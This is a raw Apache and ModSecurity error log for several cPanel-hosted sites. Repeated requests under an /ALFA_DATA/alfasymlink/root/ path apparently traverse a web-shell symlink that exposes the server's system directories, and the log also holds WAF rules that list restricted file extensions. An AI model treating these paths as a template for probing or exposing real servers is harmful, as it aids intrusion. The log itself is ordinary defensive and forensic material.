[Sun Oct 25 01:39:10.170047 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 100.28.204.82:4773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:11.790787 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.3:27922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/remote_node_defrag_ratio
[Sun Oct 25 01:39:14.291489 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 18.214.124.6:6029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:19.501838 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 185.191.171.1:34514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:26.205867 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 100.28.133.214:4366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:27.723237 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 185.191.171.9:20684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_tasks/reclaim_account
[Sun Oct 25 01:39:30.179311 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.89.90.224:6847] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:34.309393 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 3.212.205.90:57478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:50.154329 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.217.255.167:28213] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:54.163337 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.144.185.255:40149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:39:58.174112 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 50.16.248.61:22576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/eject
[Sun Oct 25 01:40:14.153147 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 52.3.155.146:29289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/exar_serial/new_id
[Sun Oct 25 01:40:18.362369 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 18.213.70.100:63037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:22.331042 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.205.74.196:19725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:28.320101 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 185.191.171.11:47796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:38.161205 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.225.148.123:45105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:42.154812 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 3.231.193.38:14598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Sun Oct 25 01:40:46.144986 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 44.207.69.106:16097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:50.152843 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 35.173.18.61:53751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:40:58.222100 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 35.170.205.140:37123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:02.173415 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.212.205.90:58951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:09.850097 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.194:64432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/cpu_partial
[Sun Oct 25 01:41:14.219164 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 18.213.102.186:34689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:18.135211 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 3.227.180.70:2317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:38.271112 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.235.191.179:26176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:50.140036 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 3.225.9.97:5333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:58.142752 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 23.21.225.190:7587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:41:58.944985 2026] [authz_core:error] [pid 2762182:tid 2762182] [client 103.203.56.2:54490] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:42:02.143475 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 100.29.128.75:54894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:42:10.139568 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 35.169.102.85:7560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/uevent
[Sun Oct 25 01:42:18.652763 2026] [security2:error] [pid 2762183:tid 2762183] [client 124.156.157.91:46486] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/"] [unique_id "at2WupnH_N6a0offkOBFgQAAACg"]
[Sun Oct 25 01:42:19.206875 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 85.208.96.212:16390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:42:38.375297 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.221.244.28:59422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:42:46.158645 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 54.147.238.89:34307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:42:48.238582 2026] [security2:error] [pid 2762149:tid 2762149] [client 85.208.96.203:33326] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litecart/php71/edit.php"] [unique_id "at2W2DuLxR3FUbX6v9XE0AAAAAc"]
[Sun Oct 25 01:42:48.238615 2026] [security2:error] [pid 2762149:tid 2762149] [client 85.208.96.203:33326] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litecart/php71/edit.php"] [unique_id "at2W2DuLxR3FUbX6v9XE0AAAAAc"]
[Sun Oct 25 01:42:54.140494 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.2.191.202:23094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:42:58.166554 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.220.148.166:32307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:01.465700 2026] [security2:error] [pid 2775683:tid 2775683] [client 104.30.167.164:17395] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at2W5e8RAbdSlAVNxI6o9AAAAAQ"]
[Sun Oct 25 01:43:01.465753 2026] [security2:error] [pid 2775683:tid 2775683] [client 104.30.167.164:17395] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles4.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at2W5e8RAbdSlAVNxI6o9AAAAAQ"]
[Sun Oct 25 01:43:01.722994 2026] [authz_core:error] [pid 2775685:tid 2775685] [client 104.30.167.164:24480] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:43:02.603100 2026] [ssl:error] [pid 2775674:tid 2775674] (70014)End of file found: [client 44.221.180.179:25009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:02.603282 2026] [security2:error] [pid 2775674:tid 2775674] [client 44.221.180.179:25009] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/vmstat"] [unique_id "at2W5ow-7C9sobqTw3w3_wAAAAE"]
[Sun Oct 25 01:43:02.603311 2026] [security2:error] [pid 2775674:tid 2775674] [client 44.221.180.179:25009] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/vmstat"] [unique_id "at2W5ow-7C9sobqTw3w3_wAAAAE"]
[Sun Oct 25 01:43:23.617919 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 85.208.96.210:18050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:26.146489 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 54.86.59.155:19566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:34.185139 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.45.92.83:26315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:42.627831 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 98.84.200.43:25660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:54.144336 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.22.64.232:13725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:43:58.192146 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 184.72.84.154:39876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:06.296251 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 107.20.255.194:31680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:07.822141 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 185.191.171.16:10600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:10.187815 2026] [security2:error] [pid 2775675:tid 2775675] [client 3.212.86.97:19154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/"] [unique_id "at2XKkXktI94K6O16eLC9wAAAAM"]
[Sun Oct 25 01:44:10.187856 2026] [security2:error] [pid 2775675:tid 2775675] [client 3.212.86.97:19154] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/"] [unique_id "at2XKkXktI94K6O16eLC9wAAAAM"]
[Sun Oct 25 01:44:14.132532 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.163.136.244:26039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:30.342803 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.208.223.68:41516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Sun Oct 25 01:44:30.809399 2026] [core:error] [pid 2775708:tid 2775708] (13)Permission denied: [client 185.191.171.8:33150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects
[Sun Oct 25 01:44:34.128347 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.156.124.2:37383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:37.437680 2026] [authz_core:error] [pid 2775675:tid 2775675] [client 45.198.224.125:49918] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:44:38.157447 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.205.163.103:51517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:42.193184 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.235.215.92:9379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:44:46.154148 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 18.215.24.66:44864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/unbind
[Sun Oct 25 01:44:58.133176 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 44.220.2.97:15285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:02.137376 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.204.253.129:60191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:10.229846 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 98.82.214.73:15921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:14.252150 2026] [security2:error] [pid 2762188:tid 2762188] [client 54.89.90.224:44045] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/drivers/"] [unique_id "at2XamQyb15Iqx39xvm3AwAAAC4"]
[Sun Oct 25 01:45:14.315312 2026] [security2:error] [pid 2762188:tid 2762188] [client 54.89.90.224:44045] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/drivers/"] [unique_id "at2XamQyb15Iqx39xvm3AwAAAC4"]
[Sun Oct 25 01:45:14.873894 2026] [proxy_fcgi:error] [pid 2775708:tid 2775708] [client 159.89.93.237:57967] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 01:45:18.210511 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 3.94.157.25:25352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:21.070861 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 85.208.96.197:49454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/sanity_checks
[Sun Oct 25 01:45:26.125435 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 23.21.228.180:15711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:30.118391 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.220.148.166:4801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:34.137601 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.200.142.199:34715] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:38.247097 2026] [ssl:error] [pid 2775709:tid 2775709] (5)Input/output error: [client 3.214.176.44:51252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:42.125494 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.195.145.102:41249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:45:50.124507 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 18.213.27.222:56010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:46:18.278566 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 35.172.125.172:43187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:46:22.190078 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.225.243.131:65019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:46:46.157750 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.208.146.193:61215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:46:54.169561 2026] [ssl:error] [pid 2775675:tid 2775675] (70014)End of file found: [client 18.204.89.56:17343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:46:57.560613 2026] [security2:error] [pid 2762188:tid 2762188] [client 185.191.171.14:54680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/apache2/modules/mod_authz_groupfile.so"] [unique_id "at2X0WQyb15Iqx39xvm3BwAAAC4"]
[Sun Oct 25 01:46:57.560682 2026] [security2:error] [pid 2762188:tid 2762188] [client 185.191.171.14:54680] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/apache2/modules/mod_authz_groupfile.so"] [unique_id "at2X0WQyb15Iqx39xvm3BwAAAC4"]
[Sun Oct 25 01:46:58.923420 2026] [core:error] [pid 2775710:tid 2775710] (13)Permission denied: [client 185.191.171.1:35004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/destroy_by_rcu
[Sun Oct 25 01:47:30.347148 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.215.49.176:30051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:47:34.146026 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.204.12.115:36524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:47:38.120847 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 50.16.216.166:52512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:47:50.120355 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 98.82.63.147:4716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/8250_lpss/uevent
[Sun Oct 25 01:47:58.113804 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 34.194.95.99:14448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/resource0
[Sun Oct 25 01:48:00.357208 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.195:11172] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-fallback-backwards.conf"] [unique_id "at2YEFTnwNJm6o1fQZIg1wAAAAI"]
[Sun Oct 25 01:48:00.357580 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.195:11172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-fallback-backwards.conf"] [unique_id "at2YEFTnwNJm6o1fQZIg1wAAAAI"]
[Sun Oct 25 01:48:00.357957 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.195:11172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-fallback-backwards.conf"] [unique_id "at2YEFTnwNJm6o1fQZIg1wAAAAI"]
[Sun Oct 25 01:48:02.132293 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 18.205.91.101:62937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:48:06.125117 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.225.181.161:36494] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:48:22.132924 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 3.223.181.32:62663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:48:34.158946 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 34.192.125.239:46149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/resource4
[Sun Oct 25 01:48:39.539009 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 85.208.96.200:27508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:48:42.109564 2026] [core:error] [pid 2775675:tid 2775675] (13)Permission denied: [client 98.83.177.42:63064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input5/subsystem/event1/device/device/driver/serio0/drvctl
[Sun Oct 25 01:48:46.122651 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.44.229.124:18791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:48:58.140542 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.193.102.198:30470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:14.338567 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 185.191.171.16:52138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:18.160340 2026] [ssl:error] [pid 2775710:tid 2775710] (70014)End of file found: [client 52.203.65.83:19210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:26.156451 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.218.170.184:12623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:30.289771 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.229.164.203:64449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:34.223601 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.91.122.193:30896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:46.184094 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.206.212.24:44995] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:49:50.195881 2026] [core:error] [pid 2775709:tid 2775709] (13)Permission denied: [client 23.23.180.225:8138] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/battery/bind
[Sun Oct 25 01:50:06.133271 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 44.215.231.15:59740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/resource0_wc
[Sun Oct 25 01:50:10.154503 2026] [ssl:error] [pid 2775708:tid 2775708] (70014)End of file found: [client 3.213.85.234:6427] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:50:18.123052 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 100.29.164.178:7959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:50:20.010668 2026] [security2:error] [pid 2775712:tid 2775712] [client 76.136.67.178:36704] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/logs/debug.log"] [unique_id "at2YmwLaiqtlZaJBsx4WZQAAAA0"]
